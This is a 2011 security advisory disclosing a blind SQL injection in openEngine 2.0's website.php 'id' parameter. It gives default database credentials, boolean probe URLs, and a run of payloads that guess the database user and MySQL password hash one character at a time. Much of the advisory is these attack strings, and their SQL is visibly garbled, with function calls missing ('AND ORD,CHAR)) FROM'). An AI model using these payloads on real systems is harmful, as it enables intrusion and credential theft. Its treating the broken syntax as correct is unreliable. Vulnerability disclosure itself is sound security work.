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SSCHADV2011-019 - openEngine 2.0 'id' Blind SQL Injection vulnerability

Advisory:
openEngine 2.0 ‘id’ Blind SQL Injection vulnerability
Advisory ID: SSCHADV2011-019
Author:
Stefan Schurtz
Affected Software: Successfully tested on openEngine 2.0 100226
Vendor URL:
Vendor Status: informed
CVE-ID: -
 
======================
Vulnerability Description:
======================

openEngine 2.0 is prone to a Blind SQL Injection
 
==============
Technical Details:
==============

Database information

User: easy
Password: easy (Hash: *E8F5FAE73EBB89AE362C59646600DDCD35EAD7E0)

Blind SQL Injection

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm’) AND 1=1 AND (‘a’=‘a&key= <- error
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm’) AND 1=0 AND (‘a’=‘a&key= <- no error

User-Guessing

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm’) AND ORD,CHAR)) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),2,1)) = 101 AND (‘a’=‘a  <- error (e)
 
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm’) AND ORD,CHAR)) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),3,1)) = 97 AND (‘a’=‘a  <- error (a)
 
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm’) AND ORD,CHAR)) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),4,1)) = 115 AND (‘a’=‘a  <- error (s)
 
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm’) AND ORD,CHAR)) FROM information_schema.USER_PRIVILEGES LIMIT 4,1),5,1)) = 121 AND (‘a’=‘a  <- error (y)

Password(Hash)-Guessing

http://<target>/openengine/cms/website.php?id=/de/sendpage.htm’) AND ORD,CHAR)) FROM mysql.user WHERE user=CHAR LIMIT 0,1),1,1)) = 42 AND (‘a’=‘a <- error (*)
 
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm’) AND ORD,CHAR)) FROM mysql.user WHERE user=CHAR LIMIT 0,1),2,1)) = 69 AND (‘a’=‘a <- error (E)
 
http://<target>/openengine/cms/website.php?id=/de/sendpage.htm’) AND ORD,CHAR)) FROM mysql.user WHERE user=CHAR LIMIT 0,1),3,1)) = 56 AND (‘a’=‘a <- error (8)
… and so on

=====
Solution:
=====

-

================
Disclosure Timeline:
================

25-Sep-2011 – informed developers
26-Sep-2011 – release date of this security advisory
27-Sep-2011 – post on BugTraq

====
Credits:
====

Vulnerability found and advisory written by Stefan Schurtz.

=======
References:
=======

http://www.openengine.de/

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